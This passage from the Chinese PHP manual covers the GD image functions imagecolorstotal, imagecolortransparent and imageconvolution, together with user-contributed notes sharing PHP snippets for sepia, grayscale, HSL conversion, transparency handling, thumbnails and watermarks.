            $H = 2 / 3 + ($clrR - $clrG) / (6.0 * $deltaMax);
        }

        if (0 > $H) $H += 1;
        if (1 < $H) $H -= 1;
    }
    return array($H, $S,$L);
}
?>
matrebatre 07-Aug-2008 11:11
Be aware that

<?php
$rgba     = imagecolorat($image, $x, $y);
$r = ($rgba >> 16) & 0xFF;
$g = ($rgba >> 8) & 0xFF;
$b = $rgba & 0xFF;
$a     = ($rgba & 0x7F000000) >> 24;
?>

will only work for truecolor images. With eg GIF images, this will have strange results. For GIF images, you should always use imagecolorsforindex().
derek at idreams dot co dot uk 30-Nov-2007 12:45
The earlier microsoft sepia example seemed to have a factor in which made it pinky... here is a modified example which uses just the Microsoft sepia (as per the wiki sepia entry)

<?
function imagetosepia(&$img) {
  if (!($t = imagecolorstotal($img))) {
    $t = 256;
    imagetruecolortopalette($img, true, $t);
  }
  $total = imagecolorstotal( $img );
  for ( $i = 0; $i < $total; $i++ ) {
    $index = imagecolorsforindex( $img, $i );
    $red = ( $index["red"] * 0.393 + $index["green"] * 0.769 + $index["blue"] * 0.189 );
    $green = ( $index["red"] * 0.349 + $index["green"] * 0.686 + $index["blue"] * 0.168 );
    $blue = ( $index["red"] * 0.272 + $index["green"] * 0.534 + $index["blue"] * 0.131 );
    if ($red > 255) { $red = 255; }
    if ($green > 255) { $green = 255; }
    if ($blue > 255) { $blue = 255; }
    imagecolorset( $img, $i, $red, $green, $blue );
  }
}
?>
joe dot scylla at gmail dot com 28-Nov-2007 06:35
While it's quite easy and intuitive to get the alpha transparency of a pixel with:

<?php
$rgba     = imagecolorsforindex($image, imagecolorat($image, $x, $y));
$alpha     = $rgba["alpha"];
?>

you should use the return value of the command imagecolorat to get the alpha transparency with the code below because it's much faster and will have a major impact if you process every pixel of an image:

<?php
$rgba     = imagecolorat($image, $x, $y);
$alpha     = ($rgba & 0x7F000000) >> 24;
?>
tim at leethost dot com 09-Sep-2007 10:01
Here's a better grayscale, sepia, and general tinting function.  This function is better because:

1) Works with true color images (the other sepia code didn't).
2) Provides a more gooder grayscale conversion (yes, I said "more gooder").  The other grayscale code used imagetruecolortopalette, which just doesn't work well for grayscale conversion.
3) The other sepia code was really colorful, a little too much for my taste.  This function allows you to optionally set the tinting of the grayscale to anything you wish.
4) Single function for grayscale, sepia, and any other tinting you can dream up.

Here's some examples:

imagegrayscaletint ($img);  // Grayscale, no tinting
imagegrayscaletint ($img,304,242,209);  // What I use for sepia
imagegrayscaletint ($img,0,0,255);  // A berry blue image

The RGB values for tinting are normally from 0 to 255.  But, you can use values larger than 255 to lighten and "burn" the image.  The sepia example above does this a little, the below example provides a better example of lightening the image and burning the light areas out a little:

imagegrayscaletint ($img,400,400,400);  // Lighten image
imagegrayscaletint ($img,127,127,127);  // Darken image

<?
function imagegrayscaletint (&$img, $tint_r = 255, $tint_g = 255, $tint_b = 255) {
  $width = imagesx($img); $height = imagesy($img);
  $dest = imagecreate ($width, $height);
  for ($i=0; $i<256; $i++) imagecolorallocate ($dest, $i, $i, $i);
  imagecopyresized ($dest, $img, 0, 0, 0, 0, $width, $height, $width, $height);
  for ($i = 0; $i < 256; $i++) imagecolorset ($dest, $i, min($i * abs($tint_r) / 255, 255), min($i * abs($tint_g) / 255, 255), min($i * abs($tint_b) / 255, 255));
  $img = imagecreate ($width, $height);
  imagecopy ($img, $dest, 0, 0, 0, 0, $width, $height);
  imagedestroy ($dest);
}
?>
slepichev at yahoo dot com 06-Sep-2007 03:50
If you would like to change the intensity or lightness level of a specific color, you will need to convert the color format from RGB to HSL.
following function convert RGB array(red,green,blue) to HSL array(hue, saturation, lightness)
<?php
/**
 * Convert RGB colors array into HSL array
 *
 * @param array $ RGB colors set
 * @return array HSL set
 */
 function rgb2hsl($rgb){

     $clrR = ($rgb[0] / 255);
     $clrG = ($rgb[1] / 255);
     $clrB = ($rgb[2] / 255);

     $clrMin = min($clrR, $clrG, $clrB);
     $clrMax = max($clrR, $clrG, $clrB);
     $deltaMax = $clrMax - $clrMin;

     $L = ($clrMax + $clrMin) / 2;

     if (0 == $deltaMax){
         $H = 0;
         $S = 0;
         }
    else{
         if (0.5 > $L){
             $S = $deltaMax / ($clrMax + $clrMin);
             }
        else{
             $S = $deltaMax / (2 - $clrMax - $clrMin);
             }
         $deltaR = ((($clrMax - $clrR) / 6) + ($deltaMax / 2)) / $deltaMax;
         $deltaG = ((($clrMax - $clrG) / 6) + ($deltaMax / 2)) / $deltaMax;
         $deltaB = ((($clrMax - $clrB) / 6) + ($deltaMax / 2)) / $deltaMax;
         if ($clrR == $clrMax){
             $H = $deltaB - $deltaG;
             }
        else if ($clrG == $clrMax){
             $H = (1 / 3) + $deltaR - $deltaB;
             }
        else if ($clrB == $clrMax){
             $H = (2 / 3) + $deltaG - $deltaR;
             }
         if (0 > $H) $H += 1;
         if (1 < $H) $H -= 1;
         }
     return array($H, $S, $L);
     }
?>
admin at phpgfx dot com 26-Aug-2007 09:54
this is a sepia filter using microsoft's definition

<?php

function imagesepia( $img ) {
    $total = imagecolorstotal( $img );
    for ( $i = 0; $i < $total; $i++ ) {
        $index = imagecolorsforindex( $img, $i );
        $red = ( $index["red"] * 0.393 + $index["green"] * 0.769 + $index["blue"] * 0.189 ) / 1.351;
        $green = ( $index["red"] * 0.349 + $index["green"] * 0.686 + $index["blue"] * 0.168 ) / 1.203;
        $blue = ( $index["red"] * 0.272 + $index["green"] * 0.534 + $index["blue"] * 0.131 ) / 2.140;
        imagecolorset( $img, $i, $red, $green, $blue );
    }
}

?>
adspeed.com 23-Aug-2005 04:05
To correct m4551 at abasoft dot it example:

ImageTrueColorToPalette($im,1,$t);

might give less colors than $t, so the for loop should call "$i<ImageColorsTotal($im)" instead of "$i<$t" just to be sure, or you'll get the warning: Color index [0-9] out of range
strozek(a)deas()harvard()edu 25-Jun-2004 01:32
Regarding m4551's method of conversion -- the actual CCIR-approved RGB-to-grayscale conversion is as follows:

grayscale component = 0.2125*R + 0.7154*G + 0.0721*B

(cf. CCIR Recommendation 709 for modern monitors)
m4551 at abasoft dot it 23-Apr-2004 09:23
here's a function to greyscale an image even from a truecolor source (jpeg or png).

slightly poor quality, but very fast...

function imagegreyscale(&$img, $dither=1) {
    if (!($t = imagecolorstotal($img))) {
        $t = 256;
        imagetruecolortopalette($img, $dither, $t);
    }
    for ($c = 0; $c < $t; $c++) {
        $col = imagecolorsforindex($img, $c);
        $min = min($col['red'],$col['green'],$col['blue']);
        $max = max($col['red'],$col['green'],$col['blue']);
        $i = ($max+$min)/2;
        imagecolorset($img, $c, $i, $i, $i);
    }
}


取得图像调色板中的颜色数量

  • ? imagecolorsforindex
  • imagecolortransparent ?
  • PHP Manual
  • GD 和图像处理 函数
  • 取得图像调色板中的颜色数量

imagecolorstotal

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorstotal — 取得图像调色板中的颜色数量

说明

imagecolorstotal(GdImage $image): int

返回图像调色板中的颜色数量。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

返回值

返回指定图像调色板中的颜色数量，真彩色图像为 0。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 使用 imagecolorstotal() 获取图像中的颜色总数

<?php
// Create image instance
$im = imagecreatefromgif('php.gif');

echo 'Total colors in image: ' . imagecolorstotal($im);

// Free image
imagedestroy($im);
?>

以上示例的输出类似于：

Total colors in image: 128

参见

  • imagecolorat() - 取得某像素的颜色索引值
  • imagecolorsforindex() - 获取索引的颜色
  • imageistruecolor() - 检查图像是否为真彩色图像

User Contributed Notes

There are no user contributed notes for this page.


将颜色定义为透明

  • ? imagecolorstotal
  • imageconvolution ?
  • PHP Manual
  • GD 和图像处理 函数
  • 将颜色定义为透明

imagecolortransparent

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolortransparent — 将颜色定义为透明

说明

imagecolortransparent(GdImage $image, ?int $color = null): int

获取或设置指定 image 中的透明色。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

color

颜色标识符使用 imagecolorallocate() 创建。

返回值

返回新（或当前，如果未指定）透明色的标识符。如果 color 为 null，并且图像没有透明色，则返回的标识符为 -1。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。
8.0.0 | color 现在允许为 null。

示例

Example #1 imagecolortransparent() 示例

<?php
// Create a 55x30 image
$im = imagecreatetruecolor(55, 30);
$red = imagecolorallocate($im, 255, 0, 0);
$black = imagecolorallocate($im, 0, 0, 0);

// Make the background transparent
imagecolortransparent($im, $black);

// Draw a red rectangle
imagefilledrectangle($im, 4, 4, 50, 25, $red);

// Save the image
imagepng($im, './imagecolortransparent.png');
imagedestroy($im);
?>

以上示例的输出类似于：

注释

Note:

透明度仅能使用 imagecopymerge() 和真彩色图像复制，而不使用 imagecopy() 或调色板图像。

Note:

透明色是图像的属性，透明度不是颜色的属性。一旦设定某个颜色为透明色，图像中之前绘制为该颜色的任何区域都成为透明的。

User Contributed Notes

Sebastian Sejzer 12-Dec-2015 05:48
If you are looking for a blank PNG, you don't need to generate it every time. Just define this constant:

define("BLANK_PNG",     "iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM/rhtAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m".
                        "dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAADqSURBVHjaYvz//z/DYAYAAcTEMMgBQAANegcCBNCg".
                        "dyBAAA16BwIE0KB3IEAADXoHAgTQoHcgQAANegcCBNCgdyBAAA16BwIE0KB3IEAADXoHAgTQoHcgQAAN".
                        "egcCBNCgdyBAAA16BwIE0KB3IEAADXoHAgTQoHcgQAANegcCBNCgdyBAAA16BwIE0KB3IEAADXoHAgTQ".
                        "oHcgQAANegcCBNCgdyBAAA16BwIE0KB3IEAADXoHAgTQoHcgQAANegcCBNCgdyBAAA16BwIE0KB3IEAA".
                        "DXoHAgTQoHcgQAANegcCBNCgdyBAgAEAMpcDTTQWJVEAAAAASUVORK5CYII=");
romanenko.alex.v at gmail.com 02-Oct-2014 08:02
This function has a very strange behaviour with GD version > 2. It returns count of colors instead of -1 (as noted) if cannot find transparent color. Be carefull!
john at jbwalker dot com 23-Jan-2012 08:42
A transparent background with text doesn't seem to work very well because of the antialiasing . But I tried the following kluge and it turned out very well:

<?php
   $im = imagecreatetruecolor(100,20);
   $almostblack = imagecolorallocate($im,254,254,254);
   imagefill($im,0,0,$almostblack);
   $black = imagecolorallocate($im,0,0,0);
   imagecolortransparent($im,$almostblack);
   //... set x and y..
   imagettftext($im,8,0,$x,$y,$black,"calibri.ttf",$txt);
?>
email at vladislav dot net 22-Jun-2011 02:42
Pay attention, that some GIF images may not include a transparent color. A good example of forced transparency in resized GIF image was given by markglibres at yahoo dot com 29-Mar-2009 02:48. But sometimes the transparent color in GIF images can be not set. The problem is, that the color you force to be transparent can be used in the original GIF as opaque and you will loose that color in resized image. The solution is not to use some default transparent color and to leave the resized image without transparent color (the same as original GIF). I used (nearly) the following code to make resized GIF images trnsparent  only when the transparency is needed:

<?php
/* ... */

$img = ImageCreateFromGIF($f); /* create image from existing GIF: original image file name $f you may take from where you need */
$transparent_index = ImageColorTransparent($img); /* gives the index of current transparent color or -1 */
if($transparent_index!=(-1)) $transparent_color = ImageColorsForIndex($img,$transparent_index);

/* ... */

$img_resized = ImageCreateTrueColor( $nw, $nh ); /* (the new width $nw and height $nh must be defined before) */
if(!empty($transparent_color)) /* simple check to find wether transparent color was set or not */
{
    $transparent_new = ImageColorAllocate( $img_resized, $transparent_color['red'], $transparent_color['green'], $transparent_color['blue'] );
    $transparent_new_index = ImageColorTransparent( $img_resized, $transparent_new );
    ImageFill( $img_resized, 0,0, $transparent_new_index ); /* don't forget to fill the new image with the transparent color */
}
list($w,$h) = GetImageSize($f); /* defines the original width $w and height $h */
if( ImageCopyResized( $img_resized, $img, 0,0, 0,0, $nw,$nh, $w,$h ) ) /* resized copying and replacing the original image */
{
    ImageDestroy($img);
    $img = $img_resized;
}

/* ... */

header('Content-Type: image/gif');
ImageGIF($img);
ImageDestroy($img);
?>

P.S.
If there some errors, I hope you could understood the idea.
admin at fastproxyservers dot org 30-Sep-2010 09:00
I would like to share with others how to make PNG image transparent. I have tried almost all examples described on that page but none of them work for me. Finally I found the solution, but there is a bit cheating :) but who cares if it works?

So when I tried to allocate white (as an example) color as a transparent, it worked randomly (lets say 1 in 10 examples). That in turn pushed me to the idea that the problem is that white color is already exist in color palette. So if I try to add another white color with DIFFERENT index as a transparent, that will cause error.

So I found the solution, instead of adding new index, I searched for the white color's index in the color palette and made it defined as transparent :) The best idea is to use not a white but left bottom corner as transparent color (I guess that s standard for some other software languages).

<?php
$index = imagecolorexact($this->image, 255, 255, 255);
imagecolortransparent($this->image, $index);
?>

All you need is to add that two lines before outputting your result.
ajamal 22-May-2009 06:06
This might be of importance to newbies...If you are trying to create GIF's with transparencies, stick to the 216 colour pallet for all colours on the image... or transparencies wont work...at the very least yo will get dithering...
markglibres at yahoo dot com 29-Mar-2009 06:48
I've made a very simple script that will retain transparency of images especially when resizing.

NOTE: Transparency is only supported on GIF and PNG files.

Parameters:

$new_image = image resource identifier such as returned by imagecreatetruecolor(). must be passed by reference
$image_source = image resource identifier returned by imagecreatefromjpeg, imagecreatefromgif and imagecreatefrompng. must be passed by reference

<?php
function setTransparency($new_image,$image_source)
    {

            $transparencyIndex = imagecolortransparent($image_source);
            $transparencyColor = array('red' => 255, 'green' => 255, 'blue' => 255);

            if ($transparencyIndex >= 0) {
                $transparencyColor    = imagecolorsforindex($image_source, $transparencyIndex);
            }

            $transparencyIndex    = imagecolorallocate($new_image, $transparencyColor['red'], $transparencyColor['green'], $transparencyColor['blue']);
            imagefill($new_image, 0, 0, $transparencyIndex);
             imagecolortransparent($new_image, $transparencyIndex);

    }
?>

Sample Usage: (resizing)

<?php
$image_source = imagecreatefrompng('test.png');
$new_image = imagecreatetruecolor($width, $height);
setTransparency($new_image,$image_source);
imagecopyresampled($new_image, $image_source, 0, 0, 0, 0, $new_width, $new_height, $old_width, $old_height);
?>
steved at HaHaHa dot com dot au 24-Oct-2008 10:28
How to center your text both vertically and horizontally in a GD image:

<?php
//get box size
$box = imagettfbbox($titlesize, 0, $titlefont, $title);

//Find out the width and height of the text box
$textW = $box[2] - $box[0];
$textH = $box[5] - $box[3];

// Calculate the positions
$positionLeft = ($width - $textW)/2;
$positionTop = (($height - $textH)/2);

// Add some text
if($align=="center"){
imagettftext($pic, size, angle, $positionLeft, $positionTop, colour, font, message);
?>
cca220v 11-Sep-2008 02:47
I found out the hard way that for two png's with alpha transparency to correctly stack you need to explicitly re-enable alpha blending.

$img=imagecreatetruecolor($dx,$dy);
$img1=imagecreatefrompng($png1); //first layer
$img2=imagecreatefrompng($png2); //second layer (smaller image)

imagealphablending($img, false);
$transparent = imagecolorallocatealpha($img, 0, 0, 0, 127);
imagefill($img, 0, 0, $transparent);
imagesavealpha($img,true);
imagealphablending($img, true); //removing this causes the second layer's transparency to go trough the 1st layer erasing it (the image >is< transparent there ... as is the 2nd layer ... but not the 1st so it should not be transparent)

imagecopyresampled($img,$img1,
imagecopyresampled($img,$img2,
yousuf at philipz dot com 01-Apr-2008 11:45
Well 8-bit gif and png files can have multiple transparent colors, so detecting the transparent color by manually looking into the file or using imagecolortransparent and using the detected rgb color as the background color when imagecopy'ing (or other image copying functions) on a true color image will not work. The only means of getting the transparent pixels to appear is to copy the pixel colors one by one to a new true color image. Here's some code i wrote to do this.

$original_image = @imagecreatefromgif( $original_image_file );

$original_image_width = imagesx( $original_image );
$original_image_height = imagesy( $original_image );

if ( !imageistruecolor($original_image) ) {
   # detects if its non-true color image
   if ( imagecolortransparent($original_image) >= 0 ) {
      # detects if any of the color palette has been set to transparent
      $truecolor = imagecreatetruecolor( $original_image_width, $original_image_height );
      for ($x = 0; $x < $original_image_width; $x++) {
         for ($y = 0; $y < $original_image_height; $y++) {
            $color_index = ImageColorAt($original_image, $x, $y);
            if ( !$color_palette[$color_index] ) {
               $rgb = imagecolorsforindex($original_image, $color_index);
               $color_to_set = imagecolorallocate($truecolor, $rgb['red'], $rgb['green'], $rgb['blue']);
               $color_palette[$color_index] = $color_to_set;
            } else {
               $color_to_set = $color_palette[$color_index];
            }
            imagesetpixel($truecolor, $x, $y, $color_to_set);
         }
      }
      imagedestroy($original_image);
      $original_image = $truecolor;
   }
}
kroccamen, gmail 27-Mar-2008 05:56
Sorry, below should be:

<?php
$is_alpha = ord (file_get_contents ($file_path, false, null, 25, 1)) & 4;
?>

much better :)
Both types 4 (greyscale transparent png), and 6 (colour transparent png) have bit 4 set, so there's no need to bitwise twice and there's no need for == as the return value will be 4 or 0, which is easily interpreted as true or false elsewhere in your code.

note: file_get_contents isn't reading the whole file in this instance, just 1 byte on its own and that's it, so you can be assured this is fast and safe.
kroccamen, gmail 25-Mar-2008 04:44
@wesley gunn:
Thank you very, very much for the code to determine if a PNG is 24 or 32-bit :)
Here's an improved version in one line without using a file-handle

<?php
$is_alpha = ((ord (
    file_get_contents ($filename, false, null, 25, 1)
) & 6) & 4) == 4;
?>

Gives true for a PNG with alpha, false otherwise.
This cannot detect 8-bit PNGs with transparency, but you could do that by searching the file contents for the presence of "PLTE" *AND* "tRNS".
tomas at cimax dot com 10-Mar-2008 12:19
On some versions you must set the index number of that color in color pallete rather than the color! So if you allocate color with imagecolorallocate, that this color gets 0 index on color pallete so than you must call: imagecolortransparent ( resource $image , 0 ) to make the image transparent!
fmkaiba at optonline dot net 07-Feb-2008 08:05
This is my 'perfect' (i use that word lightly) thumbnail generation script, switch '$transparency' to true to have it do its best to handle transparency in gifs and pngs. this code is built off of comments and advice of everyone else here, and i do not deserve full credit. So far this handles every error i can throw at it.
<?php
function createthumb($name, $newname, $new_w, $new_h, $border=false, $transparency=true, $base64=false) {
    if(file_exists($newname))
        @unlink($newname);
    if(!file_exists($name))
        return false;
    $arr = split("\.",$name);
    $ext = $arr[count($arr)-1];

    if($ext=="jpeg" || $ext=="jpg"){
        $img = @imagecreatefromjpeg($name);
    } elseif($ext=="png"){
        $img = @imagecreatefrompng($name);
    } elseif($ext=="gif") {
        $img = @imagecreatefromgif($name);
    }
    if(!$img)
        return false;
    $old_x = imageSX($img);
    $old_y = imageSY($img);
    if($old_x < $new_w && $old_y < $new_h) {
        $thumb_w = $old_x;
        $thumb_h = $old_y;
    } elseif ($old_x > $old_y) {
        $thumb_w = $new_w;
        $thumb_h = floor(($old_y*($new_h/$old_x)));
    } elseif ($old_x < $old_y) {
        $thumb_w = floor($old_x*($new_w/$old_y));
        $thumb_h = $new_h;
    } elseif ($old_x == $old_y) {
        $thumb_w = $new_w;
        $thumb_h = $new_h;
    }
    $thumb_w = ($thumb_w<1) ? 1 : $thumb_w;
    $thumb_h = ($thumb_h<1) ? 1 : $thumb_h;
    $new_img = ImageCreateTrueColor($thumb_w, $thumb_h);

    if($transparency) {
        if($ext=="png") {
            imagealphablending($new_img, false);
            $colorTransparent = imagecolorallocatealpha($new_img, 0, 0, 0, 127);
            imagefill($new_img, 0, 0, $colorTransparent);
            imagesavealpha($new_img, true);
        } elseif($ext=="gif") {
            $trnprt_indx = imagecolortransparent($img);
            if ($trnprt_indx >= 0) {
                //its transparent
                $trnprt_color = imagecolorsforindex($img, $trnprt_indx);
                $trnprt_indx = imagecolorallocate($new_img, $trnprt_color['red'], $trnprt_color['green'], $trnprt_color['blue']);
                imagefill($new_img, 0, 0, $trnprt_indx);
                imagecolortransparent($new_img, $trnprt_indx);
            }
        }
    } else {
        Imagefill($new_img, 0, 0, imagecolorallocate($new_img, 255, 255, 255));
    }

    imagecopyresampled($new_img, $img, 0,0,0,0, $thumb_w, $thumb_h, $old_x, $old_y);
    if($border) {
        $black = imagecolorallocate($new_img, 0, 0, 0);
        imagerectangle($new_img,0,0, $thumb_w, $thumb_h, $black);
    }
    if($base64) {
        ob_start();
        imagepng($new_img);
        $img = ob_get_contents();
        ob_end_clean();
        $return = base64_encode($img);
    } else {
        if($ext=="jpeg" || $ext=="jpg"){
            imagejpeg($new_img, $newname);
            $return = true;
        } elseif($ext=="png"){
            imagepng($new_img, $newname);
            $return = true;
        } elseif($ext=="gif") {
            imagegif($new_img, $newname);
            $return = true;
        }
    }
    imagedestroy($new_img);
    imagedestroy($img);
    return $return;
}
//example useage
createthumb("img.gif", "tn_img.gif", 64,64,true, true, false);
?>
wesley dot gunn at email dot it 13-Nov-2007 09:27
a simple way to check png with alpha channel reading IHDR PNG HEADER

$readPng =    fopen    ($argSourceImagePath, "rb");
$readAlp =    fread    ($readPng, 52);
            fclose    ($readPng);

if(substr(bin2hex($readAlp),50,2) == "04" || substr(bin2hex($readAlp),50,2) == "06")
echo("Png has alpha");
Mikasto 15-Aug-2007 04:53
To resize transparent PNG (if image is transparent & ImageColorTransparent() returns -1):
1) create a new image with the new sizes
2) make the new image all transparent
3) turn off the alpha blending for the new image (to keep the alpha channel when copy data)
4) do copyresampled or copyresized into new image

PHP code:
// 1
$im2 = ImageCreateTrueColor($w, $h);
// 2
ImageColorTransparent($im2, ImageColorAllocate($im2, 0, 0, 0));
// 3
ImageAlphaBlending($im2, false);
// 4
ImageCopyResampled($im2, $im, 0, 0, 0, 0, $w, $h, ImageSX($im), ImageSY($im));
erik at vectorsector dot net 13-Jul-2007 09:20
This script creates transparency for a unspecific RBG color for an already created PNG image.  It also includes script of overlay text that does not get ruined in the process.

<?php

header("Content-type: image/png");
$image = imagecreatetruecolor(250, 250);
$string = $_GET['text'];
$im     = imagecreatefrompng("dynIcon.png");
$img = imagecreatetruecolor(16,16);
$orange = imagecolorallocate($im, 220, 210, 60);
$bg_color = imagecolorat($im,1,1);
$px     = (imagesx($im) - 3 * strlen($string)) / 2;
imagecolortransparent($im, $bg_color);
imagestring($im, 3, $px, 5, $string, $orange);
imagepng($im);
imagedestroy($im);

?>

Use $bg_color = imagecolorat($im,1,1); for instance, if you made the transparent color in photoshop by clearing out all the color leaving you with the checkered background showing you it's empty.
cinymini 14-Dec-2006 11:17
When you use palette images (created with imagecreate()), the first color allocated is the background color. This color cannot be used for transparency. So if you want to make the background transparent, first allocate a dummy background color, then allocate the real background color and declare this is as transparent.
glenn at bengeweb dot co dot nz 17-Nov-2006 08:03
in reference to webmaster at webnetwizard dotco dotuk who had a rather complicated method of determining if a GIF had any transparency set ...

imagecolortransparent will return -1 if no transparency is found.

eg:

$transColorIndexMain = imageColorTransparent($mainImgObj);
if ($transColorIndexMain >= 0 ) {
       # GIF has transparency ... ;
}

Current PHP Version: 4.4.4
[GD Version] => bundled (2.0.28 compatible)
ingrid 09-Jun-2005 09:37
This script should take an animated GIF whit a white background transparancy, put some white=transparant text on it, and can be used in any page using the filename and the normal image tags.

Everything works well, exept the animation. The GIF animation stands still. Don't know how to keep the animation  animated. Is it possible in PHP?

<?php

$TextFile = "teller.txt";
$Count = trim(file_get_contents($TextFile));
$FP = fopen($TextFile, "r");
$Count=fgets($FP, 4096);
fclose ($FP);
settype($Count, "integer");
$Count++;
if ($FP = fopen ($TextFile, "w")){
fwrite ($FP, $Count);
fclose ($FP);
}

$image = "blad.gif";
$im    = imagecreatefromgif($image);
$white = imageColorAllocate ($im, 255, 255, 255);
$trans = imagecolortransparent($im,$white);
$hit = "$Count";
$ip = $_SERVER["REMOTE_ADDR"];

ImageString($im, 2, 30, 60,  " je bent bezoeker ", $white);
ImageString($im, 3, 20, 80, " $ip.$hit", $trans);

header("Content-Type: image/gif");
Imagegif($im,'',100);
ImageDestroy ($im);

?>
talkback at codesponge dot com 16-Mar-2005 03:41
Only one color may be transparent in one image.  The last call to imagecolortransparent will be the color that is set to transparent.

I am processing button images that have a slightly different fill color than the background color outside the border of the button. I was hoping that I could just make both of those colors transparent and solve the problem.

Hope this tidbit of info will save you some time.
webmaster at webnetwizard dotco dotuk 11-Jan-2005 06:09
After much devious mindbending, I have found a way to test any GIF for presence of background transparency. This ability is essential for my application which uploads any of GIF, JPEG or PNG and simultaneously creates a thumbnail of identical image type and identical filename (full size and thumbnail versions being stored in different folders).
After uploading and moving the image in the usual way, a switch($image_type) statement ensures that the optimum code is used to generate the thumbnail; regardless of image type.
The problem with the GIF type is that those with transparent backgrounds need to be treated differently to those without. When I don't detect GIF transparency, I either end up with all transparent GIF's having black backgrounds, or all GIF's get converted to transparent background - even if they weren't transparent in the original.
But how to detect transparency in the original? It finally occurred to me that I could test for transparency programmatically by overlaying a copy of the original image over an all-black image, record the color value at particular pixel locations and then repeat the process by overlaying a copy of the original image over an all-white image, recording the color values at identical pixel locations and comparing these with the first set of values.
If the two sets of values correlate exactly, and if sensible sampling points are used, the image can be treated as non-transparent. If the two sets of values show differences, the image should be treated as having a transparent background.
emilus at galeria-m dot art dot pl 30-Sep-2004 02:02
To resize or copy image (gif [with gd>=2.0.28] or png) with transparency.
-Take current transparency color
-create a new image with palette like old one and fill new image with transparent color
-set transparent color
-copy resized image

$colorTransparent = imagecolortransparent($im);
$im2 = imagecreate($new_w,$new_h);
imagepalettecopy($im2,$im);
imagefill($im2,0,0,$colorTransparent);
imagecolortransparent($im2, $colorTransparent);
imagecopyresized($im2,$im,0,0,0,0,$new_w,$new_h,$imsx,$imsy);
php_comment et 5mm de 27-Sep-2004 10:02
In fact this function can be used for two purposes:

A.) to work with transparency while dealing with images in php (see watermark example)

B.) to create a partially transparent picture

For A.) one can work with truecolor images with some regulations, but B.) can only be used with palette-based images (= indexed = created with imagecreate not imagecreatetruecolor) and formats that support transparency (png, gif).

For instance if you want to cut out a color out of a give picture that is in truecolor, use the following method to first convert it to palette-based image, assign the transparency and give it to the browser as png:

<?
$img = imagecreatefromjpeg('test.jpg');
imagetruecolortopalette($img, false, 256); // convert

$white = imagecolorresolve($img, 255, 255, 255); // resolve given palette entry
imagecolortransparent($img, $white);

header("Content-type: image/png");
imagepng($img);
?>
php at kybert dot com 14-Nov-2003 05:30
i had problems with the example by sandhawk at spies dot com because my png overlay, and the jpeg canvas were using different color depths, so, this function corrects this:

[code]
function WatermarkImage($CanvasImage, $WatermarkImage /* MUST BE PHG */, $Opacity=10, $Quality=75)
{
    // create true color canvas image:
    $canvas_src = imagecreatefromjpeg($CanvasImage);
    $canvas_w = ImageSX($canvas_src);
    $canvas_h = ImageSY($canvas_src);
    $canvas_img = imagecreatetruecolor($canvas_w, $canvas_h);
    imagecopy($canvas_img, $canvas_src, 0,0,0,0, $canvas_w, $canvas_h);
    imagedestroy($canvas_src);    // no longer needed

    // create true color overlay image:
    $overlay_src = imagecreatefrompng($WatermarkImage);
    $overlay_w = ImageSX($overlay_src);
    $overlay_h = ImageSY($overlay_src);
    $overlay_img = imagecreatetruecolor($overlay_w, $overlay_h);
    imagecopy($overlay_img, $overlay_src, 0,0,0,0, $overlay_w, $overlay_h);
    imagedestroy($overlay_src);    // no longer needed

    // setup transparent color (pick one):
    $black   = imagecolorallocate($overlay_img, 0x00, 0x00, 0x00);
    $white   = imagecolorallocate($overlay_img, 0xFF, 0xFF, 0xFF);
    $magenta = imagecolorallocate($overlay_img, 0xFF, 0x00, 0xFF);
    // and use it here:
    imagecolortransparent($overlay_img, $white);

    // copy and merge the overlay image and the canvas image:
    imagecopymerge($canvas_img, $overlay_img, 0,0,0,0, $overlay_w, $overlay_h, $Opacity);

    // output:
    header("Content-type: image/jpeg");
    imagejpeg($canvas_img, '', $Quality);

    imagedestroy($overlay_img);
    imagedestroy($canvas_img);
}

// call function with opcity set to 50% and 95% quality
WatermarkImage("canvas.jpg", "overlay.png", 50, 95);

[/code]
creator79>>web>>de 08-Oct-2003 06:44
Hi!
I'm using GDLib 1.6.3 so far I know.
You can have transparency on any defined color on any image type when using the imagecolorclosest($im, $R, $G, $B) function instead of imagecolorallocate() or imagecolorexact().
calar at gamigo dot de 01-Aug-2003 06:53
ok some works...

i had a test-sytem with GDLib, phpinfo shows me this version:
"GD Version  2.0 or higher" so far no porblems with: imageColorTransparent

Then we had to copy ouer codes to another sever on this server phpinfo shots me version:
"GD Version  bundled (2.0.12 compatible)"

The jpg was wrong and nothing was transparent.
The point is, you have to use: imagecopymerge

Don't if its true on any system just work on
SUSE 8.2
PHP 4.3.2
Jonatan 30-Dec-2002 10:35
I have found that ImageColorTransparent() works on true color images if and only if the transparent color is black.
(PHP 4.2.3/GD 2.0)


用系数 div 和 offset 申请一个 3x3 的卷积矩阵

  • ? imagecolortransparent
  • imagecopy ?
  • PHP Manual
  • GD 和图像处理 函数
  • 用系数 div 和 offset 申请一个 3x3 的卷积矩阵

imageconvolution

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

imageconvolution — 用系数 div 和 offset 申请一个 3x3 的卷积矩阵

说明

imageconvolution(
GdImage $image,
array $matrix,
float $divisor,
float $offset
): bool

使用指定的系数和 offset 在图像上应用卷积矩阵。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

matrix

3x3 矩阵：三个浮点数组成的数组，再由这样的三个数组组成的数组。

divisor

The divisor of the result of the convolution, used for normalization.

offset

颜色偏移。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 Embossing the PHP.net logo

<?php
$image = imagecreatefromgif('http://www.php.net/images/php.gif');

$emboss = array(array(2, 0, 0), array(0, -1, 0), array(0, 0, -1));
imageconvolution($image, $emboss, 1, 127);

header('Content-Type: image/png');
imagepng($image, null, 9);
?>

以上示例会输出：

Output of example : Embossing the PHP.net logo

Example #2 Gaussian blur

<?php
$image = imagecreatetruecolor(180,40);

// Writes the text and apply a gaussian blur on the image
